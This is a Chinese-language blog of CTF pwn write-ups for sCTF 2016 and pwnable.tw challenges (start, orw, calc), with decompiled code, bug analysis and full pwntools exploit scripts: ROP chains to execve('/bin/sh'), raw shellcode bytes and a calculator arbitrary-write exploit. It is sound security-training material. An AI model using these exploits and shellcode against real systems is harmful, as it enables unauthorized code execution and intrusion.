Pwn Practice

全都放一起好了,免得每一个都去开一篇文章。。主要记录一下练习的一些pwn题

sCTF 2016 Q1

1、pwn1

保护机制开了NX,但是其中有一个get_flag函数,我们输入只能输入最多32位,溢出需要60位+4位ebp,但是发现程序会把我们I替换成you,所以就可以进行溢出了

int vuln()
{
  const char *v0; // eax
  char s; // [esp+1Ch] [ebp-3Ch]
  char v3; // [esp+3Ch] [ebp-1Ch]
  char v4; // [esp+40h] [ebp-18h]
  char v5; // [esp+47h] [ebp-11h]
  char v6; // [esp+48h] [ebp-10h]
  char v7; // [esp+4Fh] [ebp-9h]

  printf("Tell me something about yourself: ");
  fgets(&s, 32, edata);
  std::string::operator=(&input, &s);
  std::allocator<char>::allocator((int)&v5);
  std::string::string(&v4, "you", &v5);
  std::allocator<char>::allocator((int)&v7);
  std::string::string(&v6, "I", &v7);
  replace((std::string *)&v3);
  std::string::operator=(&input, &v3, &v6, &v4);
  std::string::~string((std::string *)&v3);
  std::string::~string((std::string *)&v6);
  std::allocator<char>::~allocator(&v7);
  std::string::~string((std::string *)&v4);
  std::allocator<char>::~allocator(&v5);
  v0 = (const char *)std::string::c_str((std::string *)&input);
  strcpy(&s, v0);
  return printf("So, %s\n", &s);
}

exp如下:

#!/usr/bin/env python
# encoding: utf-8

from pwn import *
p=process("./pwn1")
elf=ELF("./pwn1")
context.terminal=["gnome-terminal","-x","sh","-c"]
context.log_level="debug"

retaddr=elf.symbols['get_flag']
payload="I"*20+"a"*4+p32(retaddr)
gdb.attach(p)
p.sendline(payload)
p.interactive()

2、pwn2

这道题相当有意思,一道非常有趣的rop构造题,折腾了很久,做出来之后很有成就感。 然后看题解看到另一个做法,感觉有失公正啊,吐血。。。

这道题的保护机制也只开了一个NX。 其中核心的vuln函数

int vuln()
{
  char nptr; // [esp+1Ch] [ebp-2Ch]
  int v2; // [esp+3Ch] [ebp-Ch]

  printf("How many bytes do you want me to read? ");
  get_n(&nptr, 4);
  v2 = atoi(&nptr);
  if ( v2 > 32 )
    return printf("No! That size (%d) is too large!\n", v2);
  printf("Ok, sounds good. Give me %u bytes of data!\n", v2);
  get_n(&nptr, v2);
  return printf("You said: %s\n", &nptr);
}

其中的get_n函数如下:

int __cdecl get_n(int a1, unsigned int a2)
{
  int v2; // eax
  int result; // eax
  char v4; // [esp+Bh] [ebp-Dh]
  unsigned int v5; // [esp+Ch] [ebp-Ch]

  v5 = 0;
  while ( 1 )
  {
    v4 = getchar();
    if ( !v4 || v4 == 10 || v5 >= a2 )
      break;
    v2 = v5++;
    *(_BYTE *)(v2 + a1) = v4;
  }
  result = a1 + v5;
  *(_BYTE *)(a1 + v5) = 0;
  return result;
}

看得出get_n获取一个数目不超过4位字符长度,然后进行一个转换,然后和32比较,这里存在一个整形溢出,输入-1就能输入4294967295bytes的字符,就能构造溢出了。 溢出点找到了,观察一下,溢出的长度就是0x2C字节长度的nptr和4字节长度的ebp,之后就是返回地址。 就可以构造利用了。之类开了NX,又没有libc加上这里不能用dynelf进行leak,所以想办法寻找gadgets来触发系统调用来getshell。

所以就分为两步:

  • 1、触发系统调用sys_read,将/bin/sh\x00写到.bss
  • 2、触发系统调用执行sys_execve 一步一步来,

    2.1 执行sys_read

要执行sys_read达到我们想要的目的,我们需要的条件如下:

eax=3
ebx=0
ecx=bss_address
edx=7
int 80h

寻找gadgets,用ROPgadget发现并没有很多方便使用的gadgets。 这里打印所有它找到的

0x08048833 : adc al, 0x41 ; ret
0x08048430 : add al, 0x24 ; sub al, 0xa0 ; add al, 8 ; call eax
0x0804846d : add al, 0x24 ; sub al, 0xa0 ; add al, 8 ; call edx
0x0804846b : add al, 0xc7 ; add al, 0x24 ; sub al, 0xa0 ; add al, 8 ; call edx
0x08048498 : add al, 8 ; add ecx, ecx ; ret
0x08048434 : add al, 8 ; call eax
0x08048471 : add al, 8 ; call edx
0x08048418 : add al, 8 ; cmp eax, 6 ; ja 0x8048427 ; ret
0x080484d1 : add bl, 0x40 ; ret
0x08048358 : add byte ptr [eax], al ; add esp, 8 ; pop ebx ; ret
0x0804852b : add byte ptr [eax], al ; leave ; ret
0x08048830 : add cl, byte ptr [eax + 0xe] ; adc al, 0x41 ; ret
0x0804852c : add cl, cl ; ret
0x080484f7 : add dword ptr [ecx + 0x558bf455], ecx ; or byte ptr [ecx], al ; ret 0xb60f
0x0804882c : add eax, 0x2300e4e ; dec eax ; push cs ; adc al, 0x41 ; ret
0x08048495 : add eax, 0x804a044 ; add ecx, ecx ; ret
0x080485f7 : add eax, 0x81fffffe ; ret
0x08048528 : add eax, edx ; mov byte ptr [eax], 0 ; leave ; ret
0x08048452 : add eax, edx ; sar eax, 1 ; jne 0x804845f ; ret
0x0804849a : add ecx, ecx ; ret
0x08048649 : add esp, 0x1c ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0804835a : add esp, 8 ; pop ebx ; ret
0x080484ba : and al, 0x10 ; lahf ; add al, 8 ; call eax
0x08048431 : and al, 0x2c ; mov al, byte ptr [0xd0ff0804] ; leave ; ret
0x0804846e : and al, 0x2c ; mov al, byte ptr [0xd2ff0804] ; leave ; ret
0x0804846a : and al, 4 ; mov dword ptr [esp], 0x804a02c ; call edx
0x08048340 : call 0x8048406
0x08048793 : call dword ptr [esi]
0x08048436 : call eax
0x08048473 : call edx
0x08048455 : clc ; jne 0x804845c ; ret
0x0804841b : clc ; push es ; ja 0x8048424 ; ret
0x0804841a : cmp eax, 6 ; ja 0x8048425 ; ret
0x08048831 : dec eax ; push cs ; adc al, 0x41 ; ret
0x080485ed : dec ecx ; ret
0x0804882d : dec esi ; push cs ; xor byte ptr [edx], al ; dec eax ; push cs ; adc al, 0x41 ; ret
0x08048648 : fild word ptr [ebx + 0x5e5b1cc4] ; pop edi ; pop ebp ; ret
0x0804833e : in al, dx ; or al, ch ; mov ebx, 0x81000000 ; ret
0x0804842d : in al, dx ; sbb bh, al ; add al, 0x24 ; sub al, 0xa0 ; add al, 8 ; call eax
0x080484cf : in eax, -0x33 ; add bl, 0x40 ; ret
0x080484d3 : inc eax ; ret
0x080484df : inc ebp ; ret
0x080484d5 : inc ebx ; ret
0x080484d7 : inc ecx ; ret
0x080484dd : inc edi ; ret
0x080484d9 : inc edx ; ret
0x080484db : inc esi ; ret
0x08048496 : inc esp ; mov al, byte ptr [0xc9010804] ; ret
0x080484d0 : int 0x80
0x0804841d : ja 0x8048422 ; ret
0x08048737 : jmp eax
0x08048456 : jne 0x804845b ; ret
0x08048647 : jne 0x8048631 ; add esp, 0x1c ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080484bc : lahf ; add al, 8 ; call eax
0x08048438 : leave ; ret
0x0804864a : les ebx, ptr [ebx + ebx*2] ; pop esi ; pop edi ; pop ebp ; ret
0x0804835b : les ecx, ptr [eax] ; pop ebx ; ret
0x08048497 : mov al, byte ptr [0xc9010804] ; ret
0x08048433 : mov al, byte ptr [0xd0ff0804] ; leave ; ret
0x08048470 : mov al, byte ptr [0xd2ff0804] ; leave ; ret
0x08048417 : mov al, byte ptr [0xf8830804] ; push es ; ja 0x8048428 ; ret
0x08048494 : mov byte ptr [0x804a044], 1 ; leave ; ret
0x0804852a : mov byte ptr [eax], 0 ; leave ; ret
0x080484b8 : mov dword ptr [esp], 0x8049f10 ; call eax
0x0804842f : mov dword ptr [esp], 0x804a02c ; call eax
0x0804846c : mov dword ptr [esp], 0x804a02c ; call edx
0x080484ce : mov ebp, esp ; int 0x80
0x08048341 : mov ebx, 0x81000000 ; ret
0x080485b1 : mov ebx, 0x90fffffd ; leave ; ret
0x08048400 : mov ebx, dword ptr [esp] ; ret
0x08048525 : mov edx, dword ptr [ebp + 8] ; add eax, edx ; mov byte ptr [eax], 0 ; leave ; ret
0x080485b5 : nop ; leave ; ret
0x080483ff : nop ; mov ebx, dword ptr [esp] ; ret
0x080483fd : nop ; nop ; mov ebx, dword ptr [esp] ; ret
0x080483fb : nop ; nop ; nop ; mov ebx, dword ptr [esp] ; ret
0x08048658 : nop ; nop ; nop ; nop ; nop ; nop ; nop ; nop ; ret
0x08048659 : nop ; nop ; nop ; nop ; nop ; nop ; nop ; ret
0x0804865a : nop ; nop ; nop ; nop ; nop ; nop ; ret
0x0804865b : nop ; nop ; nop ; nop ; nop ; ret
0x0804865c : nop ; nop ; nop ; nop ; ret
0x0804865d : nop ; nop ; nop ; ret
0x0804865e : nop ; nop ; ret
0x0804865f : nop ; ret
0x0804833f : or al, ch ; mov ebx, 0x81000000 ; ret
0x080485af : or al, ch ; mov ebx, 0x90fffffd ; leave ; ret
0x08048435 : or bh, bh ; ror cl, 1 ; ret
0x08048472 : or bh, bh ; ror cl, cl ; ret
0x08048419 : or byte ptr [ebx + 0x17706f8], al ; ret
0x08048499 : or byte ptr [ecx], al ; leave ; ret
0x080484fd : or byte ptr [ecx], al ; ret 0xb60f
0x08048527 : or byte ptr [ecx], al ; rol dh, 1 ; add byte ptr [eax], al ; leave ; ret
0x08048451 : pop ds ; add eax, edx ; sar eax, 1 ; jne 0x8048460 ; ret
0x080484e1 : pop ebp ; ret
0x0804864c : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0804835d : pop ebx ; ret
0x0804864e : pop edi ; pop ebp ; ret
0x0804864d : pop esi ; pop edi ; pop ebp ; ret
0x08048832 : push cs ; adc al, 0x41 ; ret
0x0804882e : push cs ; xor byte ptr [edx], al ; dec eax ; push cs ; adc al, 0x41 ; ret
0x080484f6 : push eax ; add dword ptr [ecx + 0x558bf455], ecx ; or byte ptr [ecx], al ; ret 0xb60f
0x080484cd : push ebp ; mov ebp, esp ; int 0x80
0x080484fc : push ebp ; or byte ptr [ecx], al ; ret 0xb60f
0x08048526 : push ebp ; or byte ptr [ecx], al ; rol dh, 1 ; add byte ptr [eax], al ; leave ; ret
0x080485f5 : push ebx ; call 0x8048407
0x0804841c : push es ; ja 0x8048423 ; ret
0x080485f4 : push esi ; push ebx ; call 0x8048408
0x08048453 : rcl cl, 1 ; clc ; jne 0x804845e ; ret
0x08048346 : ret
0x080484ff : ret 0xb60f
0x0804844e : ret 0xeac1
0x08048529 : rol dh, 1 ; add byte ptr [eax], al ; leave ; ret
0x08048437 : ror cl, 1 ; ret
0x08048474 : ror cl, cl ; ret
0x08048454 : sar eax, 1 ; jne 0x804845d ; ret
0x08048401 : sbb al, 0x24 ; ret
0x0804864b : sbb al, 0x5b ; pop esi ; pop edi ; pop ebp ; ret
0x0804842e : sbb bh, al ; add al, 0x24 ; sub al, 0xa0 ; add al, 8 ; call eax
0x0804844f : shr edx, 0x1f ; add eax, edx ; sar eax, 1 ; jne 0x8048462 ; ret
0x08048432 : sub al, 0xa0 ; add al, 8 ; call eax
0x0804846f : sub al, 0xa0 ; add al, 8 ; call edx
0x08048416 : sub al, 0xa0 ; add al, 8 ; cmp eax, 6 ; ja 0x8048429 ; ret
0x0804833d : sub esp, 8 ; call 0x8048409
0x0804882f : xor byte ptr [edx], al ; dec eax ; push cs ; adc al, 0x41 ; ret

eax=3

一项一项的来,先看怎么解决eax。 发现其中并没有直接对eax进行赋值的语句,但是我们再ida里面

pwn_practice

地址08048420这里有对eax复制为0的操作,再配合上ROPgadget找到的inc eax;ret,就能解决掉如何将eax赋值为3的问题。

ebx=4

然后看ebx,ebx直接有一个pop ebx ; ret,由于在读取输入的时候\x00是不被读取的,所以我们可以先将ebx搞成0xffffffff,即-1,然后利用inc ebx;ret加到0.

ecx=bss_address

再看看ecx,这个是比较有趣的地方之一了,首先再ida静态反汇编出的代码以及ROPgadget找到的都没有直接的mov,但是有这样两个gadgets:

0x0804849a : add ecx, ecx ; ret
0x080484d7 : inc ecx ; ret

第一个相当于翻倍,即左移操作。第二个就相当与自加1。 有了这两个我们可以构造任意数字了,当然构造之前我们先执行33次第一行的gadgets将ecx清零(左移33位,无论如何都是0了) 然后就能构造出任意值了

edx=7

edx和eax类似的:

pwn_practice_2

这里有直接的赋0,然后配上0x080484d9 : inc edx ; ret就可以了。

第一次就成功了!

2.2 执行sys_execve

接下来就简单了,这个要求如下:

eax=0x0b
ebx=bss_address
ecx=0
edx=0
int 80h

这个构造就不再赘述了。

最后的exp如下:

#!/usr/bin/env python
# encoding: utf-8

from pwn import *
p=process("./pwn2")
elf=ELF("./pwn2")
context.terminal=["gnome-terminal","-x","sh","-c"]
context.log_level="debug"

p.recvuntil("? ")
p.sendline('-1')
p.recvline()

mar=0x08048420      #mov eax,0
mdr=0x08048459      #mov edx,0
incar=0x080484d3    #inc eax;ret
incbr=0x080484d5    #inc ebx;ret
incdr=0x080484d9    #inc edx;ret
inccr=0x080484d7    #inc ecx;ret
doublecr=0x0804849a #add ecx ecx;ret
pbr=0x0804835d      #pop ebx;ret
int80=0x080484d0    #int 80h
bss=elf.bss()
#print bss

payload="a"*0x2c+"a"*4
payload+=p32(mar)                   #eax=>0
payload+=p32(incar)*3               #eax=>3
payload+=p32(pbr)+p32(0xffffffff)   #ebx=>-1
payload+=p32(incbr)*1               #ebx=>0
payload+=p32(mdr)                   #edx=>0
payload+=p32(incdr)*7               #edx=>7
payload+=p32(doublecr)*33           #ecx=>0  左移33位,必然为0

#ecx=>.bss_address
payload+=p32(inccr)*2
payload+=p32(doublecr)*8
payload+=p32(inccr)
payload+=p32(doublecr)*3
payload+=p32(inccr)
payload+=p32(doublecr)*2
payload+=p32(inccr)
payload+=p32(doublecr)*7
payload+=p32(inccr)
payload+=p32(doublecr)*6

payload+=p32(int80)                 #sys_read from stdin to .bss

payload+=p32(mdr)                   #edx=>0
payload+=p32(doublecr)*33           #ecx=>0

payload+=p32(pbr)+p32(bss)          #pop ebx=>bss_address
payload+=p32(incar)*4               #eax=>11
payload+=p32(int80)                 #sys_execve
#gdb.attach(p)
p.sendline(payload)
sleep(0.5)
p.sendline("/bin/sh\x00")
p.interactive()

pwnable.tw (更新至第三题…..)

1、start

首先看了下保护机制,没有开任何保护机制, 然后ida看看反汇编的代码如下:

pwnablekr_1

代码很短,看到最后的add esp 14h知道0x14位就能溢出,栈可以执行的话,思路就很简单了,覆盖返回地址直接把shellcode写到返回地址下面然后跳转执行就行了,然后就是要想办法泄露栈的地址。

这里又存在sys_write的系统调用。所以我们可以覆盖返回地址再执行一次0x08048087就能泄露esp的地址。唯一的就是看到在调用sys_read系统调用的时候,限定了dl长度是0x3C,减去我们补充的0x14个填充和0x4的返回地址,也就36字节长度,所以需要找小于36字节的shellcode,这个再exploitdb上随便扒一个就行了。最后payload如下:

#!/usr/bin/env python
# encoding: utf-8

from pwn import *
context.terminal=["gnome-terminal","-x","sh","-c"]
p=process("./1_start")
p=remote("chall.pwnable.tw",10000)
p.recvuntil(":")
shellcode = "\x31\xc9\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
writeaddr=0x08048087

payload="a"*0x14+p32(writeaddr)

#gdb.attach(p)
p.send(payload)
espaddr=u32(p.recv()[:4])
payload="a"*0x14+p32(espaddr+0x14)+shellcode
p.send(payload)
p.interactive()

2、orw

看看保护机制:

pwnablekr_2

发现开了金丝雀,覆盖返回地址的话就会比较难操作了。但是看看了反汇编的代码

pwnablekr_3

整体代码很简单了,而且它会直接执行你提交的内容,所以不也不需要你去覆盖返回地址了,但是另外有一个地方需要注意,call orw_seccomp,seccomp是一个保护机制,在该模式下的进程只能调用4种系统调用,即read(),write(),exit()和sigreturn(),加上它能够直接执行你的输入,所以就是写个汇编发过去就可以了,这里写汇编的时候要注意不能设定数据段存储文件名数据,只能用栈来存。 刚开始的时候我选择的是如下的方法,先本地用nasm编译连接,代码如下:

global  _start

_start:
push 0x6761
push 0x6c662f77
push 0x726f2f65
push 0x6d6f682f

mov eax, 5
mov ebx, esp
mov ecx, 0
int 80h

mov ebx,eax
mov eax,3
mov ecx,esp
mov edx,100h
int 80h

mov eax,4
mov ebx,1
mov ecx,esp
mov edx,100h
int 80h

mov eax,1
int 80h

然后用objdump,执行

objdump -D /tmp/a | awk -F '\t' '{print $2}'

然后拼接出shellcode发送得到flag。 后来拼接时候发现自己犯蠢了,直接用pwntools自带的asm就行了。

#!/usr/bin/env python
# encoding: utf-8

from pwn import *
context.terminal=["gnome-terminal","-x","sh","-c"]
context.log_level="debug"

#p=process("./2_orw")
p=remote('chall.pwnable.tw',10001)
elf=ELF("./2_orw")
p.recv()
#gdb.attach(p)

#payload="\x68\x61\x67\x00\x00\x68\x77\x2f\x66\x6c\x68\x65\x2f\x6f\x72\x68\x2f\x68\x6f\x6d\xb8\x05\x00\x00\x00\x89\xe3\xb9\x00\x00\x00\x00\xcd\x80\x89\xc3\xb8\x03\x00\x00\x00\x89\xe1\xba\x00\x01\x00\x00\xcd\x80\xb8\x04\x00\x00\x00\xbb\x01\x00\x00\x00\x89\xe1\xba\x00\x01\x00\x00\xcd\x80\xb8\x01\x00\x00\x00\xcd\x80"
#p.send(payload)

shellcode=asm("push 0x6761;push 0x6c662f77;push 0x726f2f65;push 0x6d6f682f;mov eax, 5;mov ebx, esp ;mov ecx, 0;int 0x80;mov ebx,eax;mov eax,3;mov ecx,esp;mov edx,0x100;int 0x80;mov eax,4;mov ebx,1;mov ecx,esp;mov edx,0x100;int 0x80;mov eax,1;int 0x80;")
p.send(shellcode)

log.success(p.recv(100))

注意这个asm再汇编的时候用的是GNU 汇编器,其中80h啊,100h啊都得换成0x800x100

3、calc

3.1 analyse

这个题给了一个简易的计算器,开了canary和NX。 其实经过一些盲测试,很容易意识到这就是一个简易的逆波兰算法实现。我对逆波兰算法印象很深是因为大二那段时间热衷于java的时候,用java写了一个支持20多种运算符、7种主题的大数计算器。其中就用java实现了一个20多个运算符的逆波兰算法。所以对这个算法应该算是比较深刻了,所以反编译的代码很快就看懂了,不看没有实现括号操作,其实它实现的不是标准的逆波兰,它在标准逆波兰的基础上额外加了一个东西,他在存储结果的栈里面用第一个位置存储了当前栈里面的数字的数量,这就是导致它出现漏洞的重要原因之一。

现在我们来分析一下代码

unsigned int calc()
{
  int v1; // [esp+18h] [ebp-5A0h]
  int v2[100]; // [esp+1Ch] [ebp-59Ch]
  char s; // [esp+1ACh] [ebp-40Ch]
  unsigned int v4; // [esp+5ACh] [ebp-Ch]

  v4 = __readgsdword(0x14u);
  while ( 1 )
  {
    bzero(&s, 0x400u);
    if ( !get_expr(&s, 1024) )
      break;
    init_pool(&v1);
    if ( parse_expr((int)&s, &v1) )
    {
      printf((const char *)&unk_80BF804, v2[v1 - 1]);
      fflush(stdout);
    }
  }
  return __readgsdword(0x14u) ^ v4;
}

这是主要代码,这里的get_expr就是获取我们的输入,parse_expr就是处理输入。 获取输入就不贴代码了,简单叙述下,它是一位一位的从标准输入读取,除了0-9和+-×/%其他都不录入(这里虽然录入了%,但是再后续计算中却没有予以处理),知道遇到回车(\x0a)停止。

然后就是parse_expr函数,如下:

signed int __cdecl parse_expr(int a1, _DWORD *a2)
{
  int v2; // ST2C_4
  int v4; // eax
  int v5; // [esp+20h] [ebp-88h]
  int i; // [esp+24h] [ebp-84h]
  int v7; // [esp+28h] [ebp-80h]
  char *s1; // [esp+30h] [ebp-78h]
  int v9; // [esp+34h] [ebp-74h]
  char s[100]; // [esp+38h] [ebp-70h]
  unsigned int v11; // [esp+9Ch] [ebp-Ch]

  v11 = __readgsdword(0x14u);
  v5 = a1; //v5记录上一次运算符的位置
  v7 = 0;
  bzero(s, 0x64u);
  for ( i = 0; ; ++i )
  {
    if ( (unsigned int)(*(char *)(i + a1) - 48) > 9 )   //遇到运算符,因为只有运算符-48为负数,进行无符号转换之后大于9
    {
      v2 = i + a1 - v5;  //记录该运算符与上一次运算符之间的距离
      s1 = (char *)malloc(v2 + 1);
      memcpy(s1, v5, v2);   //两次运算符之间的数字提出来处理
      s1[v2] = 0;
      if ( !strcmp(s1, "0") )
      {
        puts("prevent division by zero");
        fflush(stdout);
        return 0;
      }
      v9 = atoi(s1);   //将字符型转换为数字
      if ( v9 > 0 )         //大于0则压入a2栈中
      {
        v4 = (*a2)++;       //a2[0]负责记录现在a2栈中存在的数字的数量,新一个即将压入栈,所以自加1
        a2[v4 + 1] = v9;    //将该数字压栈
      }
      if ( *(_BYTE *)(i + a1) && (unsigned int)(*(char *)(i + 1 + a1) - 48) > 9 )//连续两个运算符或该运算符后面为空则报错
      {
        puts("expression error!");
        fflush(stdout);
        return 0;
      }
      v5 = i + 1 + a1; //更新v5的值
      if ( s[v7] )
      {
        switch ( *(char *)(i + a1) )
        {
          case 37:
          case 42:
          case 47:    //上面算法描述中提到的优先度处理问题
            if ( s[v7] != 43 && s[v7] != 45 )
            {
              eval(a2, s[v7]);
              s[v7] = *(_BYTE *)(i + a1);
            }
            else
            {
              s[++v7] = *(_BYTE *)(i + a1);
            }
            break;
          case 43:
          case 45: //下面的算法描述中提到的优先度处理问题
            eval(a2, s[v7]);
            s[v7] = *(_BYTE *)(i + a1);
            break;
          default:
            eval(a2, s[v7--]);
            break;
        }
      }
      else
      {
        s[v7] = *(_BYTE *)(i + a1);
      }
      if ( !*(_BYTE *)(i + a1) )
        break;
    }
  }
  while ( v7 >= 0 )   //扫描结束之后,如果s栈中还有运算符,逐个继续计算
    eval(a2, s[v7--]);
  return 1;
}

这就是一个简易的逆波兰算法了。 这里简单描述一下这个算法。 首先初始化数据结果栈a2为空,a2[0]记录a2中除去第0位还存在的数字的数量(即len(a2)-1),s数组记录于暂时存放运算符并且在最终形成逆波兰表达式的时候,该栈是会清空的。 然后从左至右遍历一个给定的中序表达式,也就是我们常规的数学计算的表达式。

  • 1、如果遇到的是数字,我们直接加入到栈a2中;
  • 2、如果遇到的是运算符,包括单目运算符和双目运算符,当然这里唯一录入的单目运算符%却没有处理,所以只考虑双目的情况:

    • (1)如果此时栈s为空,则直接将运算符加入到栈s中;
    • (2)如果此时栈s不为空,当前遍历的运算符的优先级大于等于栈顶运算符的优先级,那么直接入栈s;
    • (3)如果此时栈s不为空,当前遍历的运算符的优先级小于栈顶运算符的优先级,则将栈顶运算符出栈,同时弹出a2栈顶两个数字进行运算,首先出栈的在左,后出栈的在右进行双目运算符的计算,将结果再次压入到a2中,直到栈为空或者遇到一个运算符的优先级小于等于当前遍历的运算符的优先级,此时将该运算符加入到栈s中;
  • 3、扫描结束之后,如果s栈中还有运算符,则逐个出栈,同时弹出a2栈顶两个数字进行运算,首先出栈的在左,后出栈的在右进行双目运算符的计算,将结果再次压入到a2中,直至栈s为空,此时a2中的a2[1]存储的就是最后结果(PS:a2[0]记录a2栈的长度,所以a2[1]是最后结果)

而核心的计算的函数eval就是漏洞点所在了

_DWORD *__cdecl eval(_DWORD *a1, char a2)
{
  _DWORD *result; // eax

  if ( a2 == 43 )
  {
    a1[*a1 - 1] += a1[*a1];
  }
  else if ( a2 > 43 )
  {
    if ( a2 == 45 )
    {
      a1[*a1 - 1] -= a1[*a1];
    }
    else if ( a2 == 47 )
    {
      a1[*a1 - 1] /= a1[*a1];
    }
  }
  else if ( a2 == 42 )
  {
    a1[*a1 - 1] *= a1[*a1];
  }
  result = a1;
  --*a1;
  return result;
}

就是对于传入的运算符从数字栈中提取前两个值进行相应的运算罢了。

3.2 vul

问题其实出在最后的eval里面,比如a1[*a1 - 1] += a1[*a1],它没有进行边界检查,比如这个时候我们输入+10,计算的就是a1[1-1]+=a1[1]=>a1[0]+=a1[1],从而修改到了正常情况下并不会参与运算的a1[0]的值为11。而再eval函数中a1既是calc函数中的v1,最后输出v2[v1-1],即输出v2[10],看看calc函数中时堆栈情况。

pwnablekr_4

图中的v1对应calc中的v1,对应eval中的a1

这个时候我们打印了&v2+10*4地址上的值。如果稍加计算,知道输入+360,就能够构造泄露出main函数的ebp的值。

然后进一步的,我们还能继续利用刚刚那个地方a1[*a1 - 1] += a1[*a1]进行任意地址写, 比如我们输入+361+1, 就会执行

  • 1、预先a1[0]=0,a1[1]=361,执行a1[0]+=a1[1] ,得到a1[0]=361,a1[1]=361
  • 2、继续扫描至下一个1时,这个1不再被写到a1[2]处,因为 pwnablekr_5 所以扫描完时是a1[0]=361+1,a1[1]=361,a[362]=1
  • 3、执行第二个加好,a1[362-1]+=a1[361], 从而当+361+1执行完了之后,使得a1[361]的值加1,

从而我们可以控制栈上的值,先获取其值,再根据我们的需要进行增减。

3.3 exp

然后我们要覆盖返回地址,返回地址在a1[361]处,先获取值,再通过+361±{x}来修改其为我们想要的值即可。所以我们的思路是通过int 80h来触发系统调用sys_execve执行/bin/sh,获得shell。

最后通过我找到的gadget构造出如下栈:

=================
old ebp
=================
pop edx;ret;
=================
0
=================
pop ecx;pop ebx;ret;
=================
0
=================
old_ebp_addr+4   ------  (调试可得)
=================     |
pop eax;ret;          |
=================     |
0x0b                  |
=================     |
"/bin"        <-------|
=================
"/sh\x00"
=================
int 80h
=================

然后exp如下:

#!/usr/bin/env python
# encoding: utf-8

from pwn import *
context.terminal=["gnome-terminal","-x","sh","-c"]
context.log_level="debug"

p=process("./3_calc")
p=remote("chall.pwnable.tw",10100)
pcpbr=0x080701d1
par=0x0805c34b
pdr=0x080701aa
int80=0x08049a21
mbxsp=0x0809d6bc

def change(string,length=4):
    ans=[]
    for i in xrange(0,len(string),length):
        ans.append(int(string[i:i+length][::-1].encode('hex'),16))
    return ans

def get_addr(locate):
    p.sendline("+{locate}".format(locate=locate))
    a=int(p.recvline())
    return a
    if a<0:
        a=0x100000000+a
    return a

def write(payload,locate):
    addr=get_addr(locate)
    if addr>payload:
        p.sendline("+{locate}-{diff}".format(locate=locate,diff=(addr-payload)))
    else :
        p.sendline("+{locate}+{diff}".format(locate=locate,diff=(-addr+payload)))
    p.recvline()

p.recvline()
#gdb.attach(p)
old_ebp_addr=get_addr(360)
binsh=change("/bin/sh\x00")

stack=[pdr,0,pcpbr,0,old_ebp_addr+4,par,0x0b,int80,binsh[0],binsh[1]]
write(stack[0],361)
write(stack[1],362)
write(stack[2],363)
write(stack[3],364)
write(stack[4],365)
write(stack[5],366)
write(stack[6],367)
write(stack[7],368)
write(stack[8],369)
write(stack[9],370)
p.interactive()